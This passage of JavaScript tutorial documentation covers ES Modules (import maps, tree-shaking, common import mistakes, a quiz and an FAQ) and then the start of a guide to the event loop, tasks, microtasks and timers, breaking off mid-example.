### The Problem This works in Node.js because Node looks in `node_modules`: ```javascript import confetti from 'canvas-confetti' // Node: finds it in node_modules ``` In browsers, this fails — the browser doesn't know where `'canvas-confetti'` lives. ### The Solution: Import Maps An import map tells the browser where to find modules: ```html <script type="importmap"> { "imports": { "canvas-confetti": "https://cdn.jsdelivr.net/npm/canvas-confetti@1.6.0/dist/confetti.module.mjs", "lodash": "https://cdn.jsdelivr.net/npm/lodash-es@4.17.21/lodash.js" } } </script> <script type="module"> // Now bare specifiers work! import confetti from 'canvas-confetti' import { debounce } from 'lodash' confetti() </script> ``` ### Path Prefixes Map entire package paths: ```html <script type="importmap"> { "imports": { "lodash/": "https://cdn.jsdelivr.net/npm/lodash-es@4.17.21/" } } </script> <script type="module"> // The trailing slash enables path mapping import debounce from 'lodash/debounce.js' import throttle from 'lodash/throttle.js' </script> ``` ### Browser Support Import maps are supported in all modern browsers (Chrome 89+, Safari 16.4+, Firefox 108+). For older browsers, you'll need a polyfill or bundler. <Tip> Import maps are great for simple projects, demos, and learning. For production apps with many dependencies, bundlers like Vite still provide better optimization and developer experience. </Tip> --- ## Tree-Shaking and Bundlers One of ESM's biggest advantages is enabling tree-shaking, which bundlers use to eliminate dead code. ### What is Tree-Shaking? Tree-shaking removes unused exports from your final bundle: ```javascript // math.js export function add(a, b) { return a + b } export function subtract(a, b) { return a - b } export function multiply(a, b) { return a * b } export function divide(a, b) { return a / b } // app.js import { add } from './math.js' console.log(add(2, 3)) ``` A tree-shaking bundler sees that only `add` is used, so `subtract`, `multiply`, and `divide` are removed from the bundle. ### Why ESM Enables This CommonJS can't be reliably tree-shaken because imports are dynamic: ```javascript // CommonJS - bundler can't know which exports are used const math = require('./math') const operation = userInput === 'add' ? math.add : math.subtract ``` ESM imports are static declarations, so the bundler knows exactly what's imported: ```javascript // ESM - bundler knows only 'add' is used import { add } from './math.js' ``` ### Modern Bundlers Even with native ESM support in browsers, bundlers remain valuable for: - **Tree-shaking** — Remove unused code - **Code splitting** — Break your app into smaller chunks - **Minification** — Shrink code for production - **Transpilation** — Support older browsers - **Asset handling** — Import CSS, images, JSON Popular options: - **Vite** — Fast development, Rollup-based production builds - **esbuild** — Extremely fast, great for libraries - **Rollup** — Best tree-shaking, ideal for libraries - **Webpack** — Most features, larger projects <Note> For small projects or learning, you can use native ESM in browsers without a bundler. For production apps, bundlers still provide significant benefits. </Note> --- ## Common Mistakes ### Mistake #1: Named vs Default Import Confusion This is the most common ESM mistake. The syntax looks similar but means different things: ```javascript // ───────────────────────────────────────────── // The module exports this: export default function Logger() {} export function format() {} // ───────────────────────────────────────────── // ❌ WRONG - trying to import default as named import { Logger } from './logger.js' // Error: The module doesn't have a named export called 'Logger' // ✓ CORRECT - no braces for default import Logger from './logger.js' // ✓ CORRECT - braces for named exports import { format } from './logger.js' // ✓ CORRECT - both together import Logger, { format } from './logger.js' ``` ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ THE CURLY BRACE RULE │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ export default X → import X from '...' (no braces) │ │ export { Y } → import { Y } from '...' (braces) │ │ export { Z as W } → import { W } from '...' (braces) │ │ │ │ Default = main thing, you name it │ │ Named = specific items, names must match │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` ### Mistake #2: Circular Dependencies When module A imports module B, and module B imports module A, you can get `undefined` values: ```javascript // a.js import { b } from './b.js' export const a = 'A' console.log('In a.js, b is:', b) // b.js import { a } from './a.js' export const b = 'B' console.log('In b.js, a is:', a) // Running a.js throws: // ReferenceError: Cannot access 'a' before initialization // (a.js hasn't finished executing when b.js tries to access 'a') ``` **Fix:** Restructure to avoid circular deps, or use functions that defer access until runtime: ```javascript // Better: export functions that read values at call time export function getA() { return a } ``` ### Mistake #3: Missing File Extensions in Browsers ```javascript // ❌ WRONG in browsers import { helper } from './utils' // 404 error // ✓ CORRECT import { helper } from './utils.js' ``` ### Mistake #4: Mixing CommonJS and ESM in Node.js You can't use `require()` in an ESM file or `import` in a CommonJS file without extra steps: ```javascript // ❌ In an ESM file (.mjs or type: module) const fs = require('fs') // ReferenceError: require is not defined // ✓ CORRECT in ESM import fs from 'fs' import { readFile } from 'fs/promises' // ✓ If you really need require in ESM import { createRequire } from 'module' const require = createRequire(import.meta.url) const legacyModule = require('some-commonjs-package') ``` --- ## Key Takeaways <Info> **The key things to remember:** 1. **ESM is JavaScript's official module system** — It's standardized, works in browsers natively, and is the future of JavaScript modules. 2. **Static structure enables optimization** — Because imports are declarations, not function calls, tools can analyze your code and remove unused exports (tree-shaking). 3. **Live bindings, not copies** — ESM exports are references to the original variable. Changes in the source module are reflected in importers. CommonJS exports are value copies. 4. **Use curly braces for named imports, no braces for default** — `import { named }` vs `import defaultExport`. Mixing these up is the #1 beginner mistake. 5. **Dynamic imports for code splitting** — Use `import()` when you need to load modules conditionally or lazily. It returns a Promise. 6. **ESM is always strict mode** — No need for `"use strict"`. Variables don't leak to global scope. 7. **Modules execute once** — No matter how many files import a module, its top-level code runs exactly once. Modules are singletons. 8. **File extensions are required** — In browsers and Node.js ESM, you must include `.js`. No automatic extension resolution. 9. **Import maps solve bare specifiers in browsers** — Without a bundler, use import maps to tell browsers where to find packages like `'lodash'`. 10. **Bundlers still matter** — Even with native ESM support, bundlers provide tree-shaking, minification, and code splitting that improve production performance. </Info> --- ## Test Your Knowledge <AccordionGroup> <Accordion title="What's the fundamental difference between ESM and CommonJS that enables tree-shaking?"> **Answer:** ESM imports are **static** — they must be at the top level with string literals. This means bundlers can analyze the entire dependency graph at build time without running any code. CommonJS uses **dynamic** `require()` calls that execute at runtime. The module path can be computed (`require(variable)`), used conditionally, or placed anywhere in code. Bundlers can't know what's actually imported until the code runs. ```javascript // ESM - bundler sees exactly what's imported import { add } from './math.js' // static, analyzable // CommonJS - bundler can't be certain const op = condition ? 'add' : 'subtract' const math = require('./math') math[op](1, 2) // which function is used? Unknown until runtime ``` </Accordion> <Accordion title="What are 'live bindings' and how do they differ from CommonJS exports?"> **Answer:** In ESM, imported bindings are **live references** to the exported variables. If the source module changes the value, importers see the new value. In CommonJS, `module.exports` provides **value copies** at the time of `require()`. Later changes in the source don't affect what was imported. ```javascript // ESM: live binding // counter.mjs export let count = 0 export function increment() { count++ } // main.mjs import { count, increment } from './counter.mjs' console.log(count) // 0 increment() console.log(count) // 1 (live!) // CommonJS: copy // counter.cjs let count = 0 module.exports = { count, increment: () => count++ } // main.cjs const { count, increment } = require('./counter.cjs') console.log(count) // 0 increment() console.log(count) // 0 (still - it's a copy) ``` </Accordion> <Accordion title="When would you use dynamic imports over static imports?"> **Answer:** Use `import()` when you need to: 1. **Load modules conditionally** — Based on user action, feature flags, or environment 2. **Code split** — Load heavy components only when needed (route-based splitting) 3. **Compute the module path** — The path is determined at runtime 4. **Load modules in non-module scripts** — `import()` works even in regular scripts ```javascript // Route-based code splitting async function loadPage(route) { const page = await import(`./pages/${route}.js`) return page.default } // Conditional loading if (userWantsCharts) { const { Chart } = await import('chart.js') } ``` Static imports are better when you always need the module — they're faster to analyze and optimize. </Accordion> <Accordion title="Why do browsers require file extensions in imports, but Node.js CommonJS doesn't?"> **Answer:** **Browsers** make HTTP requests for imports. Without an extension, the browser doesn't know what URL to request. It can't try multiple extensions (`.js`, `.mjs`, `/index.js`) because each would be a separate network request. **Node.js CommonJS** runs on the local file system where checking multiple file variations is fast. It tries: exact path → `.js` → `.json` → `.node` → `/index.js`, etc. **Node.js ESM** chose to require extensions for consistency with browsers and to avoid the ambiguity of the CommonJS resolution algorithm. ```javascript // Browser - must include extension import { x } from './utils.js' // ✓ import { x } from './utils' // ❌ 404 // Node CommonJS - extension optional const x = require('./utils') // ✓ finds utils.js // Node ESM - extension required import { x } from './utils.js' // ✓ import { x } from './utils' // ❌ ERR_MODULE_NOT_FOUND ``` </Accordion> <Accordion title="What is an import map and when would you use one?"> **Answer:** An import map is a JSON object that tells browsers how to resolve bare module specifiers (like `'lodash'`). It maps package names to URLs. ```html <script type="importmap"> { "imports": { "lodash": "https://cdn.jsdelivr.net/npm/lodash-es/lodash.js", "lodash/": "https://cdn.jsdelivr.net/npm/lodash-es/" } } </script> <script type="module"> import { debounce } from 'lodash' // works now! </script> ``` **Use import maps when:** - Building simple apps without a bundler - Creating demos or examples - Learning/prototyping - You want CDN-based dependencies For production apps with many dependencies, bundlers usually provide better optimization. </Accordion> <Accordion title="What happens if two modules import each other (circular dependency)?"> **Answer:** ESM handles circular dependencies, but you can get errors for values that haven't been initialized yet. ```javascript // a.js import { b } from './b.js' export const a = 'A' console.log(b) // 'B' (b.js already ran) // b.js import { a } from './a.js' export const b = 'B' console.log(a) // ReferenceError! (a.js hasn't finished) ``` When b.js runs, a.js is still in the middle of executing (it imported b.js), so accessing `a` throws a `ReferenceError: Cannot access 'a' before initialization` because `const` declarations have a temporal dead zone (TDZ). **Solutions:** 1. Restructure to avoid circular dependencies 2. Move shared code to a third module 3. Use functions that access values later (not at module load time) ```javascript // Works: function accesses 'a' when called, not when defined export function getA() { return a } ``` </Accordion> </AccordionGroup> --- ## Frequently Asked Questions <AccordionGroup> <Accordion title="What are ES Modules in JavaScript?"> ES Modules (ESM) are JavaScript's official module system, standardized in ES2015. They use `import` and `export` statements to share code between files. Unlike older module systems like CommonJS, ESM is statically analyzable, meaning tools can determine your dependency graph at build time rather than runtime. </Accordion> <Accordion title="What is the difference between ES Modules and CommonJS?"> The key differences are: ESM uses `import`/`export` while CommonJS uses `require()`/`module.exports`; ESM loads asynchronously while CommonJS is synchronous; ESM provides live bindings (references) while CommonJS creates value copies. According to the Node.js documentation, ESM is the standard for new projects, though CommonJS remains widely used in existing codebases. </Accordion> <Accordion title="How does tree-shaking work with ES Modules?"> Tree-shaking removes unused code from your final bundle. It works because ESM imports and exports are static declarations — bundlers like webpack and Rollup can analyze which exports are actually used and eliminate the rest. This optimization is impossible with CommonJS because `require()` calls can be dynamic and conditional. </Accordion> <Accordion title="What are live bindings in ES Modules?"> Live bindings mean that when you import a value from an ES Module, you get a read-only reference to the original variable, not a copy. If the exporting module changes that variable, the importing module sees the updated value. MDN documents this as one of the key distinctions between ESM and CommonJS. </Accordion> <Accordion title="How do dynamic imports work in JavaScript?"> Dynamic imports use the `import()` function, which returns a Promise that resolves to the module's namespace object. Unlike static `import` declarations, `import()` can be called anywhere in your code — inside conditionals, loops, or event handlers. This enables code splitting and lazy loading of modules on demand. </Accordion> <Accordion title="Do I need a bundler to use ES Modules?"> No. All modern browsers support ES Modules natively via `<script type="module">`. However, bundlers like webpack, Rollup, and Vite still provide benefits for production: tree-shaking, code splitting, minification, and better caching strategies. For small projects or prototypes, native browser ESM works well without a bundler. </Accordion> </AccordionGroup> --- ## Related Concepts <CardGroup cols={2}> <Card title="IIFE, Modules & Namespaces" icon="box" href="/concepts/iife-modules"> The history of JavaScript modules and foundational patterns </Card> <Card title="async/await" icon="clock" href="/concepts/async-await"> Used with dynamic imports and top-level await </Card> <Card title="Scope and Closures" icon="lock" href="/concepts/scope-and-closures"> How module scope isolates variables </Card> <Card title="Design Patterns" icon="shapes" href="/concepts/design-patterns"> Module pattern and other encapsulation patterns </Card> </CardGroup> --- ## Reference <CardGroup cols={2}> <Card title="JavaScript Modules Guide — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Modules"> Comprehensive guide to using modules in JavaScript </Card> <Card title="import statement — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/import"> Complete reference for static import syntax </Card> <Card title="export statement — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/export"> Complete reference for export syntax </Card> <Card title="import() operator — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/import"> Dynamic import syntax and behavior </Card> <Card title="import.meta — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/import.meta"> Module metadata including URL and Node.js properties </Card> <Card title="Import maps — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/script/type/importmap"> Browser support for bare module specifiers </Card> </CardGroup> --- ## Articles <CardGroup cols={2}> <Card title="ES Modules: A Cartoon Deep-Dive" icon="newspaper" href="https://hacks.mozilla.org/2018/03/es-modules-a-cartoon-deep-dive/"> Lin Clark's illustrated guide explains how ES Modules work under the hood. The best visual explanation of module loading, linking, and evaluation you'll find. </Card> <Card title="JavaScript Modules" icon="newspaper" href="https://javascript.info/modules"> The javascript.info series covers modules comprehensively. Includes interactive examples and exercises to test your understanding. </Card> <Card title="Node.js ES Modules Documentation" icon="newspaper" href="https://nodejs.org/api/esm.html"> The official Node.js documentation for ES Modules. Covers enabling ESM, interoperability with CommonJS, import.meta, and the resolution algorithm. </Card> <Card title="ES6 Modules in Depth" icon="newspaper" href="https://ponyfoo.com/articles/es6-modules-in-depth"> Nicolás Bevacqua's deep dive into module syntax and semantics. Great for understanding the design decisions behind ESM. </Card> </CardGroup> --- ## Videos <CardGroup cols={2}> <Card title="JavaScript ES6 Modules" icon="video" href="https://www.youtube.com/watch?v=cRHQNNcYf6s"> Web Dev Simplified breaks down import/export syntax with clear examples. Perfect for solidifying your understanding of the basics. </Card> <Card title="ES Modules in 100 Seconds" icon="video" href="https://www.youtube.com/watch?v=qgRUr-YUk1Q"> Fireship's rapid-fire overview of ES Modules. Great for a quick refresher or introduction to the key concepts. </Card> <Card title="JavaScript Modules Past & Present" icon="video" href="https://www.youtube.com/watch?v=GQ96b_u7rGc"> Historical context on how JavaScript modules evolved from IIFEs to CommonJS to ESM. Helps you understand why ESM is designed the way it is. </Card> </CardGroup> ================================================ FILE: docs/concepts/event-loop.mdx ================================================ --- title: "Event Loop" sidebarTitle: "Event Loop: How Async Code Actually Runs" description: "Learn how the JavaScript event loop handles async code. Understand the call stack, task queue, microtasks, and why Promises always run before setTimeout()." "og:type": "article" "article:author": "Leonardo Maldonado" "article:section": "Functions & Execution" "article:tag": "javascript event loop, call stack task queue, microtasks promises, setTimeout, single threaded async" --- How does JavaScript handle multiple things at once when it can only do one thing at a time? Why does this code print in a surprising order? ```javascript console.log('Start'); setTimeout(() => console.log('Timeout'), 0); Promise.resolve().then(() => console.log('Promise')); console.log('End'); // Output: // Start // End // Promise // Timeout ``` Even with a 0ms delay, `Timeout` prints last. The answer lies in the **[event loop](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Execution_model)**. It's JavaScript's mechanism for handling asynchronous operations while remaining single-threaded. <Info> **What you'll learn in this guide:** - Why JavaScript needs an event loop (and what "single-threaded" really means) - How setTimeout REALLY works (spoiler: the delay is NOT guaranteed!) - The difference between tasks and microtasks (and why it matters) - Why `Promise.then()` runs before `setTimeout(..., 0)` - How to use setTimeout, setInterval, and requestAnimationFrame effectively - Common interview questions explained step-by-step </Info> <Warning> **Prerequisites:** This guide assumes familiarity with [the call stack](/concepts/call-stack) and [Promises](/concepts/promises). If those concepts are new to you, read them first! </Warning> --- ## What is the Event Loop? The **event loop** is JavaScript's mechanism for executing code, handling events, and managing asynchronous operations. As defined in the WHATWG HTML Living Standard, it coordinates execution by checking callback queues when the call stack is empty, then pushing queued tasks to the stack for execution. This enables non-blocking behavior despite JavaScript being single-threaded. ### The Restaurant Analogy Imagine a busy restaurant kitchen with a **single chef** who can only cook one dish at a time. Despite this limitation, the restaurant serves hundreds of customers because the kitchen has a clever system: ``` THE JAVASCRIPT KITCHEN ┌─────────────────────────┐ ┌────────────────────────────────┐ │ KITCHEN TIMERS │ │ ORDER SPIKE │ │ (Web APIs) │ │ (Call Stack) │ │ │ │ ┌──────────────────────────┐ │ │ [Timer: 3 min - soup] │ │ │ Currently cooking: │ │ │ [Timer: 10 min - roast]│ │ │ "grilled cheese" │ │ │ [Waiting: delivery] │ │ ├──────────────────────────┤ │ │ │ │ │ Next: "prep salad" │ │ └───────────┬─────────────┘ │ └──────────────────────────┘ │ │ └────────────────────────────────┘ │ (timer done!) ▲ ▼ │ ┌──────────────────────────────┐ │ │ "ORDER UP!" WINDOW │ KITCHEN MANAGER │ (Task Queue) │ (Event Loop) │ │ │ [soup ready] [delivery here]│ "Chef free? ────────────────────►│ │ Here's the next order!" └──────────────────────────────┘ │ ▲ │ ┌───────────────┴──────────────┐ │ │ VIP RUSH ORDERS │ └──────────────────────────│ (Microtask Queue) │ (VIP orders first!) │ │ │ [plating] [garnish] │ └──────────────────────────────┘ ``` Here's how it maps to JavaScript: | Kitchen | JavaScript | |---------|------------| | **Single Chef** | JavaScript engine (single-threaded) | | **Order Spike** | Call Stack (current work, LIFO) | | **Kitchen Timers** | Web APIs (setTimeout, fetch, etc.) | | **"Order Up!" Window** | Task Queue (callbacks waiting) | | **VIP Rush Orders** | Microtask Queue (promises, high priority) | | **Kitchen Manager** | Event Loop (coordinator) | The chef (JavaScript) can only work on one dish (task) at a time. But kitchen timers (Web APIs) run independently! When a timer goes off, the dish goes to the "Order Up!" window (Task Queue). The kitchen manager (Event Loop) constantly checks: "Is the chef free? Here's the next order!" **VIP orders (Promises)** always get priority. They jump ahead of regular orders in the queue. <Note> **TL;DR:** JavaScript is single-threaded but achieves concurrency by delegating work to browser APIs, which run in the background. When they're done, callbacks go into queues. The Event Loop moves callbacks from queues to the call stack when it's empty. </Note> --- ## The Problem: JavaScript is Single-Threaded JavaScript can only do **one thing at a time**. There's one call stack, one thread of execution. ```javascript // JavaScript executes these ONE AT A TIME, in order console.log('First'); // 1. This runs console.log('Second'); // 2. Then this console.log('Third'); // 3. Then this ``` ### Why Is This a Problem? Imagine if every operation blocked the entire program. Consider the [Fetch API](https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API): ```javascript // If fetch() was synchronous (blocking)... const data = fetch('https://api.example.com/data'); // Takes 2 seconds console.log(data); // NOTHING else can happen for 2 seconds! // - No clicking buttons // - No scrolling // - No animations // - Complete UI freeze! ``` A 30-second API call would freeze your entire webpage for 30 seconds. Users would think the browser crashed! According to Google's Core Web Vitals research, any interaction that takes longer than 200 milliseconds to respond is perceived as sluggish by users. ### The Solution: Asynchronous JavaScript JavaScript solves this by **delegating** long-running tasks to the browser (or Node.js), which handles them in the background. Functions like [`setTimeout()`](https://developer.mozilla.org/en-US/docs/Web/API/setTimeout) don't block: ```javascript console.log('Start'); // This doesn't block! Browser handles the timer setTimeout(() => { console.log('Timer done'); }, 2000); console.log('End'); // Output: // Start // End // Timer done (after 2 seconds) ``` The secret sauce that makes this work? **The Event Loop**. --- ## The JavaScript Runtime Environment To understand the Event Loop, you need to see the full picture: ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ JAVASCRIPT RUNTIME │ │ ┌─────────────────────────────────────────────────────────────────┐ │ │ │ JAVASCRIPT ENGINE (V8, SpiderMonkey, etc.) │ │ │ │ ┌───────────────────────┐ ┌───────────────────────────┐ │ │ │ │ │ CALL STACK │ │ HEAP │ │ │ │ │ │ │ │ │ │ │ │ │ │ ┌─────────────────┐ │ │ { objects stored here } │ │ │ │ │ │ │ processData() │ │ │ [ arrays stored here ] │ │ │ │ │ │ ├─────────────────┤ │ │ function references │ │ │ │ │ │ │ fetchUser() │ │ │ │ │ │ │ │ │ ├─────────────────┤ │ │ │ │ │ │ │ │ │ main() │ │ │ │ │ │ │ │ │ └─────────────────┘ │ └───────────────────────────┘ │ │ │ │ └───────────────────────┘ │ │ │ └─────────────────────────────────────────────────────────────────┘ │ │ │ │ ┌─────────────────────────────────────────────────────────────────┐ │ │ │ BROWSER / NODE.js APIs │ │ │ │ │ │ │ │ setTimeout() setInterval() fetch() DOM events │ │ │ │ requestAnimationFrame() IndexedDB WebSockets │ │ │ │ │ │ │ │ (These are handled outside of JavaScript execution!) │ │ │ └─────────────────────────────────────────────────────────────────┘ │ │ │ │ │ │ callbacks │ │ ▼ │ │ ┌──────────────────────────────────────────────────────────────────┐ │ │ │ MICROTASK QUEUE TASK QUEUE (Macrotask) │ │ │ │ ┌────────────────────────┐ ┌─────────────────────────┐ │ │ │ │ │ Promise.then() │ │ setTimeout callback │ │ │ │ │ │ queueMicrotask() │ │ setInterval callback │ │ │ │ │ │ MutationObserver │ │ I/O callbacks │ │ │ │ │ │ async/await (after) │ │ UI event handlers │ │ │ │ │ └────────────────────────┘ │ Event handlers │ │ │ │ │ ▲ └─────────────────────────┘ │ │ │ │ │ HIGHER PRIORITY ▲ │ │ │ └─────────┼────────────────────────────────────┼───────────────────┘ │ │ │ │ │ │ └──────────┬─────────────────────────┘ │ │ │ │ │ ┌────────┴────────┐ │ │ │ EVENT LOOP │ │ │ │ │ │ │ │ "Is the call │ │ │ │ stack empty?" ├──────────► Push next callback │ │ │ │ to call stack │ │ └─────────────────┘ │ └─────────────────────────────────────────────────────────────────────────┘ ``` ### The Components <AccordionGroup> <Accordion title="Call Stack"> The **[Call Stack](/concepts/call-stack)** is where JavaScript keeps track of what function is currently running. It's a LIFO (Last In, First Out) structure, like a stack of plates. ```javascript function multiply(a, b) { return a * b; } function square(n) { return multiply(n, n); } function printSquare(n) { const result = square(n); console.log(result); } printSquare(4); ``` Call stack progression: ``` 1. [printSquare] 2. [square, printSquare] 3. [multiply, square, printSquare] 4. [square, printSquare] // multiply returns 5. [printSquare] // square returns 6. [console.log, printSquare] 7. [printSquare] // console.log returns 8. [] // printSquare returns ``` </Accordion> <Accordion title="Heap"> The **Heap** is a large, mostly unstructured region of memory where objects, arrays, and functions are stored. When you create an object, it lives in the heap. ```javascript const user = { name: 'Alice' }; // Object stored in heap const numbers = [1, 2, 3]; // Array stored in heap ``` </Accordion> <Accordion title="Web APIs (Browser) / C++ APIs (Node.js)"> These are **NOT** part of JavaScript itself! They're provided by the environment: **Browser APIs:** - [`setTimeout`](https://developer.mozilla.org/en-US/docs/Web/API/setTimeout), [`setInterval`](https://developer.mozilla.org/en-US/docs/Web/API/setInterval) - [`fetch`](https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API), `XMLHttpRequest` - DOM events (click, scroll, etc.) - [`requestAnimationFrame`](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame) - Geolocation, WebSockets, IndexedDB **Node.js APIs:** - File system operations - Network requests - Timers - Child processes These are handled by the browser/Node.js runtime outside of JavaScript execution, allowing JavaScript to remain non-blocking. </Accordion> <Accordion title="Task Queue (Macrotask Queue)"> The **Task Queue** holds callbacks from: - `setTimeout` and `setInterval` - I/O operations - UI rendering tasks - Event handlers (click, keypress, etc.) - `setImmediate` (Node.js) Tasks are processed **one at a time**, with potential rendering between them. </Accordion> <Accordion title="Microtask Queue"> The **Microtask Queue** holds high-priority callbacks from: - `Promise.then()`, `.catch()`, `.finally()` - [`queueMicrotask()`](https://developer.mozilla.org/en-US/docs/Web/API/queueMicrotask) - [`MutationObserver`](https://developer.mozilla.org/en-US/docs/Web/API/MutationObserver) - Code after `await` in [async functions](/concepts/async-await) **Microtasks ALWAYS run before the next task!** The entire microtask queue is drained before moving to the task queue. </Accordion> <Accordion title="Event Loop"> The **Event Loop** is the orchestrator. Its job is simple but crucial: ``` FOREVER: 1. Execute all code in the Call Stack until empty 2. Execute ALL microtasks (until microtask queue is empty) 3. Render if needed (update the UI) 4. Take ONE task from the task queue 5. Go to step 1 ``` The key insight: **Microtasks can starve the task queue!** If microtasks keep adding more microtasks, tasks (and rendering) never get a chance to run. </Accordion> </AccordionGroup> --- ## How the Event Loop Works: Step-by-Step Let's trace through some examples to see the event loop in action. ### Example 1: Basic setTimeout ```javascript console.log('Start'); setTimeout(() => { console.log('Timeout'); }, 0); console.log('End'); ``` **Output:** `Start`, `End`, `Timeout` **Why?** Let's trace it step by step: <Steps> <Step title="Execute console.log('Start')"> Call stack: `[console.log]` → prints "Start" → stack empty ``` Call Stack: [console.log('Start')] Web APIs: [] Task Queue: [] Output: "Start" ``` </Step> <Step title="Execute setTimeout()"> `setTimeout` is called → registers timer with Web APIs → immediately returns ``` Call Stack: [] Web APIs: [Timer: 0ms → callback] Task Queue: [] ``` The timer is handled by the browser, NOT JavaScript! </Step> <Step title="Timer completes (0ms)"> Browser's timer finishes → callback moves to Task Queue ``` Call Stack: [] Web APIs: [] Task Queue: [callback] ``` </Step> <Step title="Execute console.log('End')"> But wait! We're still running the main script! ``` Call Stack: [console.log('End')] Task Queue: [callback] Output: "Start", "End" ``` </Step> <Step title="Main script complete, Event Loop checks queues"> Call stack is empty → Event Loop takes callback from Task Queue ``` Call Stack: [callback] Task Queue: [] Output: "Start", "End", "Timeout" ``` </Step> </Steps> <Warning> **Key insight:** Even with a 0ms delay, `setTimeout` callback NEVER runs immediately. It must wait for: 1. The current script to finish 2. All microtasks to complete 3. Its turn in the task queue </Warning> ### Example 2: Promises vs setTimeout ```javascript console.log('1'); setTimeout(() => console.log('2'), 0); Promise.resolve().then(() => console.log('3')); console.log('4'); ``` **Output:** `1`, `4`, `3`, `2` **Why does `3` come before `2`?** <Steps> <Step title="Synchronous code runs first"> `console.log('1')` → prints "1" `setTimeout` → registers callback in Web APIs → callback goes to **Task Queue** `Promise.resolve().then()` → callback goes to **Microtask Queue** `console.log('4')` → prints "4" ``` Output so far: "1", "4" Microtask Queue: [Promise callback] Task Queue: [setTimeout callback] ``` </Step> <Step title="Microtasks run before tasks"> Call stack empty → Event Loop checks **Microtask Queue first** Promise callback runs → prints "3" ``` Output so far: "1", "4", "3" Microtask Queue: [] Task Queue: [setTimeout callback] ``` </Step> <Step title="Task Queue processed"> Microtask queue empty → Event Loop takes from Task Queue setTimeout callback runs → prints "2" ``` Final output: "1", "4", "3", "2" ``` </Step> </Steps> <Tip> **The Golden Rule:** Microtasks (Promises) ALWAYS run before Macrotasks (setTimeout), regardless of which was scheduled first. </Tip> ### Example 3: Nested Microtasks ```javascript console.log('Start'); Promise.resolve() .then(() => { console.log('Promise 1'); Promise.resolve().then(() => console.log('Promise 2')); }); setTimeout(() => console.log('Timeout'), 0); console.log('End'); ``` **Output:** `Start`, `End`, `Promise 1`, `Promise 2`, `Timeout` Even though the second promise is created AFTER setTimeout was registered, it still runs first because the **entire microtask queue must be drained** before any task runs! --- ## Tasks vs Microtasks: The Complete Picture ### What Creates Tasks (Macrotasks)? | Source | Description | |--------|-------------| | `setTimeout(fn, delay)` | Runs `fn` after at least `delay` ms | | `setInterval(fn, delay)` | Runs `fn` repeatedly every ~`delay` ms | | I/O callbacks | Network responses, file reads | | UI Events | click, scroll, keydown, mousemove | | `setImmediate(fn)` | Node.js only, runs after I/O | | [`MessageChannel`](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel) | `postMessage` callbacks | <Note> **What about requestAnimationFrame?** rAF is NOT a task. It runs during the rendering phase, after microtasks but before the browser paints. It's covered in detail in the [Timers section](#requestanimationframe-smooth-animations). </Note> ### What Creates Microtasks? | Source | Description | |--------|-------------| | `Promise.then/catch/finally` | When promise settles | | `async/await` | Code after `await` | | `queueMicrotask(fn)` | Explicitly queue a microtask | | `MutationObserver` | When DOM changes | ### The Event Loop Algorithm (Simplified) ```javascript // Pseudocode for the Event Loop (per HTML specification) while (true) { // 1. Process ONE task from the task queue (if available) if (taskQueue.hasItems()) { const task = taskQueue.dequeue(); execute(task); } // 2. Process ALL microtasks (until queue is empty) while (microtaskQueue.hasItems()) { const microtask = microtaskQueue.dequeue(); execute(microtask); // New microtasks added during execution are also processed! } // 3. Render if needed (browser decides, typically ~60fps) if (shouldRender()) { // 3a. Run requestAnimationFrame callbacks runAnimationFrameCallbacks(); // 3b. Perform style calculation, layout, and paint render(); } // 4. Repeat (go back to step 1) } ``` <Warning> **Microtask Starvation:** If microtasks keep adding more microtasks, the task queue (and rendering!) will never get a chance to run: ```javascript // DON'T DO THIS - infinite microtask loop! function forever() { Promise.resolve().then(forever); } forever(); // Browser freezes! ``` </Warning> --- ## JavaScript Timers: setTimeout, setInterval, requestAnimationFrame Now that you understand the event loop, let's dive deep into JavaScript's timing functions. ### setTimeout: One-Time Delayed Execution ```javascript // Syntax const timerId = setTimeout(callback, delay, ...args); // Cancel before it runs clearTimeout(timerId); ``` **Basic usage:** ```javascript // Run after 2 seconds setTimeout(() => { console.log('Hello after 2 seconds!'); }, 2000); // Pass arguments to the callback setTimeout((name, greeting) => { console.log(`${greeting}, ${name}!`); }, 1000, 'Alice', 'Hello'); // Output after 1s: "Hello, Alice!" ``` **Canceling a timeout:** ```javascript const timerId = setTimeout(() => { console.log('This will NOT run'); }, 5000); // Cancel it before it fires clearTimeout(timerId); ``` #### The "Zero Delay" Myth `setTimeout(fn, 0)` does NOT run immediately! ```javascript console.log('A'); setTimeout(() => console.log('B'), 0); console.log('C'); // Output: A, C, B (NOT A, B, C!) ``` Even with 0ms delay, the callback must wait for: 1. Current script to complete 2. All microtasks to drain 3. Its turn in the task queue #### The Minimum Delay (4ms Rule) After 5 nested timeouts, browsers enforce a minimum 4ms delay: ```javascript let start = Date.now(); let times = []; setTimeout(function run() { times.push(Date.now() - start); if (times.length < 10) { setTimeout(run, 0); } else { console.log(times); } }, 0); // Typical output (varies by browser/system): [1, 1, 1, 1, 4, 9, 14, 19, 24, 29] // First 4-5 are fast, then 4ms minimum kicks in ``` <Warning> **setTimeout delay is a MINIMUM, not a guarantee!** ```javascript const start = Date.now(); setTimeout(() => { console.log(`Actual delay: ${Date.now() - start}ms`); }, 100); // Heavy computation blocks the event loop for (let i = 0; i < 1000000000; i++) {} // Output might be: "Actual delay: 2547ms" (NOT 100ms!) ``` If the call stack is busy, the timeout callback must wait. </Warning> ### setInterval: Repeated Execution ```javascript // Syntax const intervalId = setInterval(callback, delay, ...args); // Stop the interval clearInterval(intervalId); ``` **Basic usage:** ```javascript let count = 0; const intervalId = setInterval(() => { count++; console.log(`Count: ${count}`); if (count >= 5) { 